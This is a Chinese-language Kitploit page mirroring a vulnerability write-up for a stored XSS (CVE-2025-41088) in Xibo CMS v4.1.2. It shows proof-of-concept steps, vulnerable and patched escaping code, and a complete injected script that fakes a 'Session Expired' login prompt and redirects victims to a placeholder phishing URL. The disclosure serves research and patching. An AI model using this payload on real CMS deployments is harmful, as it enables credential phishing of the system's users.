Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-41088 — Xibo Signage 的 Xibo CMS v4.1.2 中存在存储型跨站脚本攻击(XSS),原因是缺乏对用户输入的正确验证。 | Kitploit
工具/GitHubGitHub/marinafabregat/cve-2025-41088
漏洞分析漏洞利用Web应用程序漏洞利用钓鱼攻击论文与研究学习与教育
GitHubmarinafabregat/cve-2025-41088

CVE-2025-41088

Xibo Signage 的 Xibo CMS v4.1.2 中存在存储型跨站脚本攻击(XSS),原因是缺乏对用户输入的正确验证。

查看仓库
5310个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-41088: Xibo CMS 中的存储型XSS

我在 Xibo CMS v4.1.2 中发现了一个 存储型跨站脚本(XSS) 漏洞。由于对用户提供的输入验证不当,该漏洞允许经过身份验证的攻击者将恶意脚本注入应用程序中。

问题出在“模板”功能中。攻击者可以构造一个包含带有恶意负载的文本元素的模板。当其他用户查看此模板时,该脚本会在他们的浏览器中执行,可能导致数据窃取或其他恶意操作。


概念验证(PoC)

要利用该漏洞,经过身份验证的用户必须执行以下步骤:

  1. 导航到 设计 > 模板 部分并创建一个新模板。
  2. 转到 全局元素 部分并添加一个新的文本元素。
  3. 在编辑器的 文本 字段中,插入恶意的 XSS 负载(例如 <script>alert(1337)</script>)。
  4. 保存该元素。负载现在存储在服务器上。
  5. 只要用户的浏览器渲染该被攻击的元素,脚本就会执行。

漏洞代码

本节包含 Xibo CMS v4.1.2 中未对“文本”字段输入进行清理的具体代码片段。

root@kitploit:~
        'extends' => [
            'override' => $moduleTemplate->extends?->override,
            'with' => $moduleTemplate->extends?->with,
            'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
        ],
    ];
} else if ($extension !== null) {

在同一文档的另一行。

root@kitploit:~
        'extends' => [
            'override' => $moduleTemplate->extends?->override,
            'with' => $moduleTemplate->extends?->with,
            'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
        ],
    ];

在另一个文档中。

root@kitploit:~
    // Escape HTML
    convertedProperties.escapeHtml = template?.extends?.escapeHtml;
    // Compile hbs template with data
    let hbsHtml = hbsTemplate(convertedProperties);

    

修复后的代码

本节展示已打补丁的代码,其中包含适当的输入清理和输出编码机制,以中和恶意脚本。

root@kitploit:~
                'extends' => [
                    'override' => $moduleTemplate->extends?->override,
                    'with' => $moduleTemplate->extends?->with,
                    'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                        $moduleTemplate->extends->escapeHtml : 1,
                ],
            ];
        } else if ($extension !== null) {

在同一文档的另一行。

root@kitploit:~
                'extends' => [
                    'override' => $moduleTemplate->extends?->override,
                    'with' => $moduleTemplate->extends?->with,
                    'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                        $moduleTemplate->extends->escapeHtml : 1,
                ],
            ];

在另一个文档中。

root@kitploit:~
    // Escape HTML
    convertedProperties.escapeHtml =
      (template?.extends?.escapeHtml === undefined) ?
        true : template.extends.escapeHtml;


    // Compile hbs template with data
    let hbsHtml = hbsTemplate(convertedProperties);
 

利用

存储的负载在受害者浏览器的上下文中执行,可用于窃取密码等敏感信息。

1. 注入负载: 攻击者将恶意脚本插入模板内的文本元素中。

脚本位置

我使用的脚本如下:

root@kitploit:~

<script>
(function() {
    // --- MAIN FUNCTION ---
    function showRedirectModal() {
        // 1. Create the elements
        const overlay = document.createElement('div');
        const modalContainer = document.createElement('div');
        const title = document.createElement('h2');
        const message = document.createElement('p');
        const redirectButton = document.createElement('button');

        // 2. Assign styles and properties
        // Style for the dark overlay
        Object.assign(overlay.style, {
            position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
            backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
            display: 'flex', justifyContent: 'center', alignItems: 'center'
        });

        // Style for the modal container 
        Object.assign(modalContainer.style, {
            padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
            boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
            fontFamily: 'Arial, sans-serif'
        });

        // Style for the title
        title.textContent = 'Session Expired';
        Object.assign(title.style, {
            textAlign: 'center', color: '#333', marginBottom: '15px' 
        });

        message.textContent = 'Your session has expired. Please log in again to continue.';
        Object.assign(message.style, {
            textAlign: 'center',
            color: '#555',
            marginBottom: '25px',
            lineHeight: '1.5',
            fontSize: '16px'
        });

        // Style for the redirect button
        Object.assign(redirectButton.style, {
            width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
            backgroundColor: '#007bff', color: 'white', fontSize: '16px',
            cursor: 'pointer'
        });
        redirectButton.textContent = 'Log In Again'; 

        // 3. Assemble the modal structure
        modalContainer.appendChild(title);
        modalContainer.appendChild(message);
        modalContainer.appendChild(redirectButton);
        overlay.appendChild(modalContainer);

        // 4. Add the modal to the page
        document.body.appendChild(overlay);

        // 5. Define the button's behavior 
        redirectButton.addEventListener('click', function(e) {
            e.preventDefault(); // Buena práctica

            const phishingURL = 'http://my-website-example.com/login.html'; 

            window.location.href = phishingURL;
            
            document.body.removeChild(overlay);
        });
    }

    // --- Initialize the function ---
    showRedirectModal();

})();
</script>

2. 攻击场景: 一种常见的攻击模拟会话过期以捕获用户凭据。该脚本劫持页面并向受害者显示此弹窗。

image

参考资料

  • INCIBE-CERT(西班牙语): Xibo CMS 中的多个漏洞
  • INCIBE-CERT(英语): Xibo CMS 中的多个漏洞

免责声明

此信息仅供教育和研究目的使用。本人不对因滥用此信息而造成的任何误用或损害承担责任。

下载工具